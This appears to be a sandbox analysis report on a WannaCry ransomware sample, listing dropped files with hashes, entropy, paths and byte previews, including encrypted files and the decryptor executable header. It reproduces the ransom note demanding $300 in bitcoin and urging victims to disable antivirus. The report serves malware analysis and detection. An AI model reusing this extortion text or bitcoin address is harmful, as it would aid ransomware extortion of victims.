                                    Preview:WANACRY!....d..d...g..:Yt.......ho.U.#.....z........rOf...5..g..[J@..d.._...X....Q.B.5.u"...[.Cx.S...7.l.."z$NQ.e.6R...s...8.b...x.#..N..... ....7......Z...<6._U.c..]@..........t}.D......K....C...oK...;9h(....XU.3.'....._.|g.{..s.]..e.p....'....Yr .J%............Z.rj&..&.^.....]z..z|....p...iP.h.....0.....~..$*.7!S....t.........Q..:....s..TxH...&....)....bvI.kt>................b.......@.P4..r&.z|.."..\B........../4..#.v....D.)......>$.../.G..g......X.q..d%OE\..;......l..wv.v.n....aj...{7....J..(..N...j..F@5y.L.h.......z......./...k.`\$.@tF0.#...r..]..M>"m.......?..%..k....Wf,...}...3..).o......e.J......=.U...E....U..4.>...G.q.#k..`....$.[.....b...=.dJ.P...`=si<....+.....;t..Hy.[}...W......... z=.. |.$5~o.....G.?r.....Y.|...ZS..\..0n..v..).a..m..+?^F....?v.v..sI......Jt.<.<..d..;.......;.#VH2/Y-....]....&..q`.G.n...w..P....J@I...O%.'e/..a.TN....+-.93v........x..{N{N.cH7..RV....../.,....Ax.<.J..q.MM z.|.....iY.3.h..s..Z.r]....i_^.....

                                    C:\Users\jones\AppData\Local\@Please_Read_Me@.txt

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:ASCII text, with CRLF line terminators
                                    Category:dropped
                                    Size (bytes):933
                                    Entropy (8bit):4.710902136409594
                                    Encrypted:false
                                    SSDEEP:24:ptrPzDVR5Gi3OzGm0EigS1xbnS4RQhbrW8PNAi0eEprY+Ai75wRZcet:DZD36W3ChvWmMo+S
                                    MD5:7E6B6DA7C61FCB66F3F30166871DEF5B
                                    SHA1:00F699CF9BBC0308F6E101283ECA15A7C566D4F9
                                    SHA-256:4A25D98C121BB3BD5B54E0B6A5348F7B09966BFFEEC30776E5A731813F05D49E
                                    SHA-512:E5A56137F325904E0C7DE1D0DF38745F733652214F0CDB6EF173FA0743A334F95BED274DF79469E270C9208E6BDC2E6251EF0CDD81AF20FA1897929663E2C7D3
                                    Malicious:false
                                    Preview:Q: What's wrong with my files?....A: Ooops, your important files are encrypted. It means you will not be able to access them anymore until they are decrypted... If you follow our instructions, we guarantee that you can decrypt all your files quickly and safely!.. Let's start decrypting!....Q: What do I do?....A: First, you need to pay service fees for the decryption... Please send $300 worth of bitcoin to this bitcoin address: 13AM4VW2dhxYgXeQepoHkHSQuy6NgaEb94.... Next, please find an application file named "@WanaDecryptor@.exe". It is the decrypt software... Run and follow the instructions! (You may need to disable your antivirus for a while.).. ..Q: How can I trust?....A: Don't worry about decryption... We will decrypt your files surely because nobody will trust us if we cheat users... ....* If you need our assistance, send a message by clicking <Contact Us> on the decryptor window....

                                    C:\Users\jones\AppData\Local\@WanaDecryptor@.exe

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                    Category:dropped
                                    Size (bytes):245760
                                    Entropy (8bit):6.278920408390635
                                    Encrypted:false
                                    SSDEEP:3072:Rmrhd5U1eigWcR+uiUg6p4FLlG4tlL8z+mmCeHFZjoHEo3m:REd5+IZiZhLlG4AimmCo
                                    MD5:7BF2B57F2A205768755C07F238FB32CC
                                    SHA1:45356A9DD616ED7161A3B9192E2F318D0AB5AD10
                                    SHA-256:B9C5D4339809E0AD9A00D4D3DD26FDF44A32819A54ABF846BB9B560D81391C25
                                    SHA-512:91A39E919296CB5C6ECCBA710B780519D90035175AA460EC6DBE631324E5E5753BD8D87F395B5481BCD7E1AD623B31A34382D81FAAE06BEF60EC28B49C3122A9
                                    Malicious:true
                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......%...a...a...a......b.......u.......`.....d.......j.......e...W...b...a.......W...s.......`...Richa...................PE..L.....[J.................@...p.......1.......P....@..................................................................................0..|............................................................................P...............................text....3.......@.................. ..`.rdata..h....P.......P..............@..@.data....2.......0..................@....rsrc...|....0....... ..............@..@........................................................................................................................................................................................................................................................................................................................................................

                                    C:\Users\jones\AppData\Local\@WanaDecryptor@.exe.lnk

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Thu Jul 25 22:50:30 2024, mtime=Thu Jul 25 22:50:30 2024, atime=Fri May 12 05:22:56 2017, length=245760, window=hide
                                    Category:dropped
                                    Size (bytes):580
                                    Entropy (8bit):5.1602313887772375
                                    Encrypted:false
                                    SSDEEP:12:8ORypzYNbQthdUoTAjAtNo9UNlpKJ2JzBmV:8ORBq9UAJlpKJ2Jtm
                                    MD5:E56DDAF80E047E701D2E3E291DA97217
                                    SHA1:FF3DE5A812301977F3F06321805CE59D7D19A1A6
                                    SHA-256:46615DA1D754A5FB40E04B1A9E5CD51D71958AFA9D87EFE674CCAC66354A6706
                                    SHA-512:B0269A491C82F918E9F0AC3E1877B0C5F0697C0D4F51B080CA036CF34036EBC8FFEC75DD2551D2CFB40DC8B7CA1429E7EF93D69C53CA70B7957CD64A5E4EAA6D
                                    Malicious:false
                                    Preview:L..................F.... ....n.n.....n.n.....`.1.................................P.O. .:i.....+00.:...:..,.LB.)...A&...&........*_...B,Ho......`o......t.2......J.2 .@WANAD~1.EXE..X.......XP..XP......=........................@.W.a.n.a.D.e.c.r.y.p.t.o.r.@...e.x.e.......]...............-.......\...........'q.......C:\Users\user\Desktop\@WanaDecryptor@.exe......\.@.W.a.n.a.D.e.c.r.y.p.t.o.r.@...e.x.e.`.......X.......701188...........hT..CrF.f4... ..../Tc...,......hT..CrF.f4... ..../Tc...,......E.......9...1SPS..mD..pH.H@..=x.....h....H.....K...YM...?................

                                    C:\Users\jones\AppData\Local\ConnectedDevicesPlatform\L.jones\@Please_Read_Me@.txt

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:ASCII text, with CRLF line terminators
                                    Category:dropped
                                    Size (bytes):933
                                    Entropy (8bit):4.710902136409594
                                    Encrypted:false
                                    SSDEEP:24:ptrPzDVR5Gi3OzGm0EigS1xbnS4RQhbrW8PNAi0eEprY+Ai75wRZcet:DZD36W3ChvWmMo+S
                                    MD5:7E6B6DA7C61FCB66F3F30166871DEF5B
                                    SHA1:00F699CF9BBC0308F6E101283ECA15A7C566D4F9
                                    SHA-256:4A25D98C121BB3BD5B54E0B6A5348F7B09966BFFEEC30776E5A731813F05D49E
                                    SHA-512:E5A56137F325904E0C7DE1D0DF38745F733652214F0CDB6EF173FA0743A334F95BED274DF79469E270C9208E6BDC2E6251EF0CDD81AF20FA1897929663E2C7D3
                                    Malicious:false
                                    Preview:Q: What's wrong with my files?....A: Ooops, your important files are encrypted. It means you will not be able to access them anymore until they are decrypted... If you follow our instructions, we guarantee that you can decrypt all your files quickly and safely!.. Let's start decrypting!....Q: What do I do?....A: First, you need to pay service fees for the decryption... Please send $300 worth of bitcoin to this bitcoin address: 13AM4VW2dhxYgXeQepoHkHSQuy6NgaEb94.... Next, please find an application file named "@WanaDecryptor@.exe". It is the decrypt software... Run and follow the instructions! (You may need to disable your antivirus for a while.).. ..Q: How can I trust?....A: Don't worry about decryption... We will decrypt your files surely because nobody will trust us if we cheat users... ....* If you need our assistance, send a message by clicking <Contact Us> on the decryptor window....

                                    C:\Users\jones\AppData\Local\ConnectedDevicesPlatform\L.jones\@WanaDecryptor@.exe.lnk

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Thu Jul 25 22:50:30 2024, mtime=Thu Jul 25 22:50:30 2024, atime=Fri May 12 05:22:56 2017, length=245760, window=hide
                                    Category:dropped
                                    Size (bytes):580
                                    Entropy (8bit):5.1602313887772375
                                    Encrypted:false
                                    SSDEEP:12:8ORypzYNbQthdUoTAjAtNo9UNlpKJ2JzBmV:8ORBq9UAJlpKJ2Jtm
                                    MD5:E56DDAF80E047E701D2E3E291DA97217
                                    SHA1:FF3DE5A812301977F3F06321805CE59D7D19A1A6
                                    SHA-256:46615DA1D754A5FB40E04B1A9E5CD51D71958AFA9D87EFE674CCAC66354A6706
                                    SHA-512:B0269A491C82F918E9F0AC3E1877B0C5F0697C0D4F51B080CA036CF34036EBC8FFEC75DD2551D2CFB40DC8B7CA1429E7EF93D69C53CA70B7957CD64A5E4EAA6D
                                    Malicious:false
                                    Preview:L..................F.... ....n.n.....n.n.....`.1.................................P.O. .:i.....+00.:...:..,.LB.)...A&...&........*_...B,Ho......`o......t.2......J.2 .@WANAD~1.EXE..X.......XP..XP......=........................@.W.a.n.a.D.e.c.r.y.p.t.o.r.@...e.x.e.......]...............-.......\...........'q.......C:\Users\user\Desktop\@WanaDecryptor@.exe......\.@.W.a.n.a.D.e.c.r.y.p.t.o.r.@...e.x.e.`.......X.......701188...........hT..CrF.f4... ..../Tc...,......hT..CrF.f4... ..../Tc...,......E.......9...1SPS..mD..pH.H@..=x.....h....H.....K...YM...?................

                                    C:\Users\jones\AppData\Local\Microsoft\Internet Explorer\brndlog.txt.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):6856
                                    Entropy (8bit):7.970572697422928
                                    Encrypted:false
                                    SSDEEP:96:oOQPgA7B5KxOawIy6X3+l/0qJL6SGK8PnWtYm50vdx/zPqW8r0zbGUlYPWs1el:ioA7zxbsqJLGKcnWEvdhP8roaXel
                                    MD5:475F1BCE899B89D8D699136BFA43AFFE
                                    SHA1:4D7CD85673B2AA0E77EDAC26BA202B63E39B6394
                                    SHA-256:DEC626C2B23FC6C0F942064C1F68FE633946A2944C1C1BD46BD33C81E73F3FC7
                                    SHA-512:7C8DC73EA72B9C82D4ABC28865459BFB8FE19BCA84CDF205BD7210CC7A5E5A4E974240492138C3DC2EEE809EFD97CBB9CBF1293641B81A65DC713CF0C9953F9E
                                    Malicious:false
                                    Preview:WANACRY!.....tRmS.LN..4R..~~.......}.|5... ...1@[..&..uM.m!0!......k....D|...yD..~9Z.....x=.!1.0+..'.3...0@.s...J+;A..;......3..oHPJ.k..v.a.q..t...(.<..wV....bo..l[.x(."...>....UW.....'.......K.....d......A...{..X.^......0.2..q.b..k....1.......@.)...i.0.,D}...............~iM.J8._.^..l.rdn...`.C.....K....v...9.P....F..".4.....`.c.(.Gb.Ba<..v.........%.%P.[&. V5.F.".k...U.G....!V W.$....u....1F.9.G.'...@.....*.....l;.t.....|......(.[j#.)`~..'.l..4...?x)..|..G|k..+p.T,..K...K.6l..;i..j.........Z..$..N.*.I.!........^.p.'^zx.G.9CU_q...zJ.....t....keOt.N.d.&..}..p.d....[....q.N.?.P8:.L...p`..b3...k}S...d.(.=.B.$.$.hZy..{.Uo.X..?*o9.....V!.%.c.3?]....&PD..L.Z%&.X.....C.7........i....$."..-M...0..2..Q..z.Y.[..k......H..........w;d._....X..e.............r-|0.v..O.n.Bv$.9/)cb.,>.+..X..Ej]..}8.p...d.5..-64 .q.Cy..p.*.9U..6.....h<l\...x...Cz....$(...E`]..b.W.hBy)T...F.f.b.xq...6FM...L,..r.\FC"...8..n:......3.;..t.g.....DGu...Gb....C.

                                    C:\Users\jones\AppData\Local\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\AC\INetCache\KAT9HXAG\hero-image-desktop-f6720a4145[1].jpg.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):138488
                                    Entropy (8bit):7.99862900775018
                                    Encrypted:true
                                    SSDEEP:3072:sZmjVo0Cu9Mmkrc69Qv3130g3jR85HlmQ1RI2k/Q:0mJo0umkI2Q1HzivZ19AQ
                                    MD5:E07E6300B152650D07BCFF354E7D2657
                                    SHA1:2C9BD435F63F0593900196762D48C1BCC69036F6
                                    SHA-256:CE195B6296BB197A4C3AD813F4B32DE4C9D75ABF72B3930EBBF5DA2810CC6603
                                    SHA-512:666AEB822173B8C998BFD4615C90552A07AF392E62DCFA8084BE88828D85E29488933C69E4FAB9A69F7181817057844D62D276573529DEA70FADC1F1A6726BAF
                                    Malicious:true
                                    Preview:WANACRY!.....Ll."I.N.3..@....\.c...x...G...[./..(.] .-eY>...2*i.r.=..c...%..o!p(S$..<]^\LH..=..O~)?..s.|...]..O...c..z.!....v.....O..Y.~.t.,.e6.#.."y-`l.9fm.7....o5....r........^.b/....z...iM.U.\]...6o..l.]%....p.@3.qQ.+....c@../T.{.y.!.:=T....7.C...e^...................s....`.M..{....t..$;2t...oJm.....=......a."s..M. h..K........QLe_.'....J.......m...2.`./.C.$..K.{Z..4./...t.."../}..~.Z.....u....4. ....5...|&7...nwk..?.>-n..Y...A......./...mG...k..q...$B5.lp....!5.C..!.%D..KGK4\..L4.j\.VUZ.z5.'.a.8[...Ut* .S..m...>ZQ~k..$.w.....o?[.K"..:......7..AAb.p$..Bku#...6Jx4..=....X....0..`.e:..\...-X.nL..........g.6..5cE......H(...A....[.v.............D....f..+d.3..v.......#.>$X_q......Ja....7..J.9.y.|5..q%.r.Lrs...Be......|..r...c.k..E..J..!.[.JcD[.E..`:..a"`...?'..9...F)...HtZ.82....+....6.';..c...z`.QM5..&Y....\.(..eG....*.s......C...U}..T...k.i._.O.._.rq..Q|.8..;.._..C.#,....&7K............r..M.k...;ZBH.R.<&.....C.......c....r=#....4.Zs.._$...s..ajr..w..{

                                    C:\Users\jones\AppData\Local\Packages\Microsoft.SkypeApp_kzf8qxf38zg5c\LocalState\DiagOutputDir\SkypeApp0.txt.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):19096
                                    Entropy (8bit):7.9899777782733
                                    Encrypted:false
                                    SSDEEP:384:C7RmPZqV9zU7BHU/fzqytCpTvVM4E6jrX2SgblRUTO0tBE0l8t:osPZczUR2f5aq4E0b2RrUKWEX
                                    MD5:CC5B0D12BDC039FB542361CC76771F8B
                                    SHA1:DE020F5A769569A2D85B70797CB84760F53498AA
                                    SHA-256:BC26AD4F37485B8E7092A70CDDFF44363F8960AE3AF90DC40B91F46F0CF41AF2
                                    SHA-512:F6D5C9B85C0D0D0DD098A83D6CEA51239576F850B220755E49A615FF53C2ED28DCAC76F4135D60E1F2D07EC0A054D59013A56459FA2562A595E0F16E7B90CFC4
                                    Malicious:false
                                    Preview:WANACRY!.....*..=.......*..n. s..X>..........I.I(..Eo...$`......t9....&V.\.!x|Y....b..7...v.....<.l...f.!.}."...,.S.\.e.d@.%.4.I.Br ....{m0qi...hD...|...\.:.......].i0..{w......_.}.......yfs*.. ...%MD......(. ./.?.B.<...N..6..k]...[L.{..q..u....<..&.......{I......f;`j..).<..b..Vt.fq.$.%..<3.g....a...].........3..\^..F4.. .....9n.;...0.T..=L..2[...UQ.~mx..?.....K.f#.`.r...GTL.6W.a.{....~3\.b.........a;U#....7.@.y5.O..E.q..{....U.cV..Ma3r...j..FV.C..u+5.y.......q,.n...M...vV..AN.....]~.fw..f.F[L2.n.J....O.%I....H..H.Ej..A.2..o.C..ohF.\U...c...z.).......O.4s..{.-.Y.....|Gi......P....p.}kA...r,..J...mx..p..4?.f.......O..(..M....y...08..U..^..4i../.Q...3.R.[,.|5..R>;.h..=... (,.j....EQ7.w...KH4-.@3_..A.....=...5....)V.S.4.....y..6?Q.\.Vl....P>......I...... E.*l...M..y.........0....#...P.d..a..|..W..RE3{-*.V.....Wz.dA..yg.=.;..5.5...U!..6Db.R...O...`u.|.V..}(..L#........l(...W_k..@.....}.....HN.x....h.N%i..ltP..5....Zh.T+.....t.P..k...

                                    C:\Users\jones\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{3502d36d-7211-4995-af80-eced47ce4a6c}\0.0.filtertrie.intermediate.txt.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):34696
                                    Entropy (8bit):7.995014571898117
                                    Encrypted:true
                                    SSDEEP:768:UZrOevvi19deRBwfIXtEUWJ98Wfp7mDvsY1wPR0zMN4Gjy:UZrOKmdtOoJ98Q7mzMjy
                                    MD5:0AC8B8C2FD31AEA0CD131C2358CEB6EE
                                    SHA1:FF807BC2C15BEEA34EE52448C8060916C8B1E0D7
                                    SHA-256:8C421E2D07A0008B7DD0BEC6F0EB37B43AA956E18398ADB918ADF62B4D788759
                                    SHA-512:6D16C563B2D5A600ABA1BE8C7A34C648190926E8C2D3BC44FEF1039E5C93AFB683D37F12FBB4C78D3461321C47F94AFB064E97326FFC2CCFD3FFF5FB4F2C11EB
                                    Malicious:true
                                    Preview:WANACRY!....kx....L.t..g....H.~.V.T...5rL..q.a...|.dz8......:...e.a.]..e..e.4ly..[p.O..O.w{...C...L...YsL..V./a...v.h......J.......2....N7.qm..B-0>U$.t.....F.@o..j.........A.7}.c....Bi?.....c...<.@.F.........s..]..JSp....../...>.{#Z..V..Q1.....c...+m .C....e.......'.G...l.+.<.c..f.x9.a]9B..9N...b..1.E...y/.$.{..9o;.,v....X:<u...Y..KHF.......k...%....a...f...dI....uG.o...s".k.yb.`..V.J.Aw.bL....3L6..P.$.....!.e...y..b.".C$w..x..^z ...l,r.h.(~e;wX.p.0..q..!.C~,...a.X......>..l{9....`=.|4.8.....z+8.B...mg-V.*L.?....N......0.K.:.....|...........?..J..L.....j....T...?..5O.)1.B.d...7..."& ]b..u.@...\...!~N...b...U........G.g..*~.)h]......z.'k.02......i..6.i.atq.z.m.f..nRW2#......K......(....g...f1wh.~p|4.!lo8k=......6..v...;.0FO..0..1.&...B....S'.`..,.c....l.D........9...m.v.V.A.JN.Q...{....+...8..>...S..<|ZI.Zs....?bE~.....R.]r-......eM...}..aq..V....~r........r|....i..R3.8!\....?..4......d.zW.9..,\S..............|..5o...d.A.e.%GA.

                                    C:\Users\jones\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{ed67b689-2200-491a-9730-3e54067afbf3}\0.0.filtertrie.intermediate.txt.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):34696
                                    Entropy (8bit):7.99435419673704
                                    Encrypted:true
                                    SSDEEP:768:v62hcizcWfdAElfmXdRuW52L06XcuTEj7DE3EgLexGKv5zrQ/l0n8MMUa:v62h9hfdll+PSNcuTEj7DE3LAGKxzrQx
                                    MD5:A7A2E720DD068F02B58DF40BC041F65A
                                    SHA1:E2263B19948E3F4F5EBB6F860866C896DE54E0F0
                                    SHA-256:72020DCA63B4C2FE6BF055E054E02DC17054A2744CEBFF7FAFB9A298DC39AAFC
                                    SHA-512:DC8FDC8013B9DC61342C2F0F6EEC3065CAA8A5C821DCD96D78DBFDE0E8F70BB6EBFF17000A09FC8CCF323C8B2CC56EB37FFD0A4040DF587F8297253F57F22137
                                    Malicious:true
                                    Preview:WANACRY!....I.^Au...s.i.)S...........)...".=....\...........>..L..P.L...].6....t.....x...O...J.Z..v..*......)Ayh.....O.{5.J.E5....N'.I..>5ds3...Is%..I.....e.}ye....Y.p...Z&...G..P`.+....B).....c..f.+3...MW.%&z.TN.BigtYl..g.x..-..Fu..Fq..Z.c..o.4..Y......e.......l.f3bM`U)H.f'.ASA.....n[..xk.Py..;.k;P...+z}..m$.....u..vX.9..e.e?....^#..9..^Z4..f..3......%..^......Zs.B&...3BAPbv....-<O..pE0.d...k....Q2D9-.\.K.p/.$.3g.......[._....q.....,A..V..Dt..SLX.s.. ..(...]...]..?.l.~.P.-hL.....kxV1..:...%.Z..... %.h...1.@..1_.(..j.U.(...rB....n.9K.X+.vv.l%..... .3.C.......EF.`..>f.T..|.#..).q^..&.%.....h.d..Z..'h...?.N...V,.....[2.N].YYr...rG0......M..1.(.+3.H8..../.X...........i"m.,.^......PX.1U....'.Z..C.....)....+y.v.AhI.v.W.......o..W.3`xW.3......0B.&u...QgK.....(vd2#...k.Z".... .?%..f...CS....fM...~..e'.Z..1..H..p._.G.....>..P..g;...7....i...z..@R.NJ....&Bd2fa...V....P.[.4.[.L.f..kK..B....G.a.....J.....G..z.....5O....:5{.mk;1!C.U........J/

                                    C:\Users\jones\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{0f31ce30-ed3d-4588-b294-208da23711e6}\appsconversions.txt.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1426184
                                    Entropy (8bit):7.999876345020156
                                    Encrypted:true
                                    SSDEEP:24576:QD1TVKUuauZUdAdxjatdRigL0UD40S2Fo6zYIdp14p4ULgMmLAGr:QhTVKUukd2jav63gzY6E6Ec
                                    MD5:69D0BF545267A869A55B2FD9563791B7
                                    SHA1:6C562349E6814C197EDE21D3F6D3C23A79F435A5
                                    SHA-256:0C5210804E7028A1B2324AF3208A7BD72D7CE4B654D7180AED64F2883F64E808
                                    SHA-512:105A3CD8374BF3620414957C8C25A683FC22CB1A5B345CCFB70E913602C9A1A98288EFDCECE9B43919F0D012E0D8D87BAE720AF87DBD021F8ACFD120656F6C38
                                    Malicious:true
                                    Preview:WANACRY!....@w-&(.GJR!.v^........|d:.^DK..IS.......aDv@..(.!...4+.bB.6.+^..1.....4._......;n.o..Q.....R.U..0..z...%X(.C..:....A....._V.D..R*G......5.|.#..^TQ.6UQDz..g.g.........%s.G...Pr.~.....B>.kpA.]..6.s.2.p..m4..qn.Z.j..?....,.ky.....r2...c\b..B.Yu(.f..............zl~....?.4:|.6....".9...(.-L.....>x.t.....}..P..r.;..Fu5~Q..........>.].s.......&.).?.r. y...."...... ktQ+[$...I.t..v..Mj.../.po..Hm._...aa.P.Xd...V.h....9....V[...To:3..f..(<.FJ.`{.........$ww.?!E....n.n.^..O.YM....E.......{W4..X......o......ER...I.B.....T.<..@...:H'.de...d-&.S5M;.?...Q.n..N]ri...i.....\r..{....z....h..y..mT.`.d.s....)4.q......c....'.).}.{.F..w.....C.[=../.).......0w...X........o...w.>_..~._.F..s5.b...PE.+..D..\.x..U...J.+v.s....`?......w..?/._...1.....dcA.>.zT..#...U..N.+.....].Z....H.......}.{.g..@,6.;..R...F..~o.,E.,.j.....<.vx&.bm.20s7.y].....*W..7.B......... .5c]...i..z9RN[....P.E5z..4f.O.Y6.k..a....lUM..Nnk.k...F......?.Y..n$]..Ow..-...)....I.=....)

                                    C:\Users\jones\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{0f31ce30-ed3d-4588-b294-208da23711e6}\appsglobals.txt.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):352008
                                    Entropy (8bit):7.999515341292329
                                    Encrypted:true
                                    SSDEEP:6144:LnxPbmccvWfwTBGIhgAVko4ZjttX0FjBlDdiUIGzV91rJravSi/Zi:VCJvWfOGIhZmT0VB6G11ravZ/Zi
                                    MD5:674FD67A5E1E811FE5360585410B3D4B
                                    SHA1:AA036D0C3788915AE9B6E05AAB05A231886440D4
                                    SHA-256:13835A9E8541540D2E6DA45C66311D08360093CCAE010D0F84094C74DA7B2580
                                    SHA-512:694C65B45D550BC1C345BA44C85CFFD98446C36472FC317AB57E2522EAFFDB7497DA8AEF92E74439B13D80EE45EA83EF1C3D68F30E2C83828A0876786F7C5EB6
                                    Malicious:true
                                    Preview:WANACRY!....0..~f.>....C.y...........~*.[Rn....[...]..q@........@Z....)r_..P..lp..)...Q.....Zl..G..v...4./.-a......lI ..m.O^.l.{.r.<I.D..Y4......[`...oM..W.F.C..]&MOBe..P......@.Iz*....v.+.#..Me.?.OR........&...e/^..G...xN.;....Z.............r.{..[..b.....]......%.Q.RB.(^...(....3%=\}<....)...X...7:..a.,f.9.s]..{`|q...mP.....f.S...!.q..k........{.B..bf..u....1...M.d.w....K.H.1.Is$.4.....f..f..hg[.p..4....F,....5K..2T...&-.v.V..r...q."r7v4..l.m.Q.[..g.z...X..Oo'....{..l.....M.N...K._<.l.r?..P..FQz?,........&&...l.T".a.N u....2...;z9.D...s\....:...0.#.7.1.S....5...Y..ml..m...`....B..X.7...(.r.O..K p.P.i..k7.s.n...i%A.-......SH-Q...9...2.V..e....].k.Y.8..PE:4..FN.JmH<=z?..$..I....+]_..c..I..$n...{.cP&.E.i.sM...{.f..........a..8j....>...E?.I4,.*w....e...%...y4.~L...1.....5E...........x...U.....ih...0..A.q.$.bW9:j.D...9.A.4A)d...'....)......Pl..i....;N..U+h...>U.'=...0...Z.&..k.5y...3oF....a...^.|....>..2:bE......x...3..L......8.O?L....M....!

                                    C:\Users\jones\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{0f31ce30-ed3d-4588-b294-208da23711e6}\appssynonyms.txt.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):243784
                                    Entropy (8bit):7.99924368148114
                                    Encrypted:true
                                    SSDEEP:6144:clBPh3QEgA5EFe9ySAAWSSyquXp7r0yUV1UruHgoenUJ:clBPmqRYGp7r0yUV9AoZ
                                    MD5:5A4958698669B8E72AF97A5EB3FD6190
                                    SHA1:7BF5825F1351CC7E900CEDC78846F7EBA8A20696
                                    SHA-256:E43BC36DF1D6B246BE24DB243E679AD10147F33220904F85A45D5115DA6EE28C
                                    SHA-512:5FFA53D34EDB9FBBDCDDFCC5B1B59EF5CB65FE86B57FE39F8D85A73686D93F254F6AB208C4DEB6E60355A976A997BEBDB99EB7796376C9321F7E1D4D46D6C9C4
                                    Malicious:true
                                    Preview:WANACRY!.......\...NI.=m'Q.Q.L...0,......S..>..Jx|~b.2....%H6...M.-&.Pn.UG....9..o....~...%Le....#;\)R..Yc<..V....d..'..^..md..$....&.....%..g7...{5.=....AF6*..qY.......D..`.i.Q.,..0...4..FM....Xa?..&g..7...O.bV?..#......u..z4....@..8.z.a....j\.?...C.....p....&........*...%XT..#lz-...Cb...\..T..Di.u2.b..T..,Ox%.#.s~.?.z.T..pf...1..&@k.@..Tle.Z=.G.......|..sL}.8.W2./,.I&`.OM.L..`&...g..:A.{5.E....."W.K.D^...F..C'..9.....w.n..$...0..[..U..1..;.%..R....:........qZ....b..B.M.[6%t.@H...1..C.->$....C..4.0.@...Z...a+...7T..X..Z.UYi..D/.4.We?ba..i.`.A?.(.._.G.4PxL..-......%.T.7V@dXb..|..L....$.......K.....(..I..]...Y..c....C>y...`p..|.h...fy.... v...&F......]A..oozV^i.y.......Fw.6t'.x....\.. '#......Au..>e.&F.....>RCJ.d*.qk...g.4...5......NXZ.a0....q6.0Y.Ew_3.&}9.Jv>).c..L~....t5.*.O.}..r..x..r.[..B.+.>.aI....4...+.... ....c~........l.c..+.BBk...h+!k..0..X..m...\..T.a.....GI.m........| '.2..+.6?...}x.ff.0(....@#...q...%2.`.....q.GU../.e.......

                                    C:\Users\jones\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{0f31ce30-ed3d-4588-b294-208da23711e6}\settingsconversions.txt.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):533032
                                    Entropy (8bit):7.999660980329294
                                    Encrypted:true
                                    SSDEEP:12288:rglw4MYi2gEil3n7daunC1M9Bwe2nbVNPuPzhOUBF/:8lhAgilsu7wembnPk
                                    MD5:94CBF694A974D3D3E186470091D87B93
                                    SHA1:276B73A30DCDA0F39758878C2EDDD6804554AB23
                                    SHA-256:C910C3EBC679AF2DF167A98B4760EA91B72654A6D5E1D0EF01A77F72AE9213DF
                                    SHA-512:30E125BA7DD32A2D18C366BEED0158E1F9BA153BE6F3153367635F7052F76403C6B9979353D3F6B525642C49B0AC80423C240E3DEA9B61E869A674D695249922
                                    Malicious:true
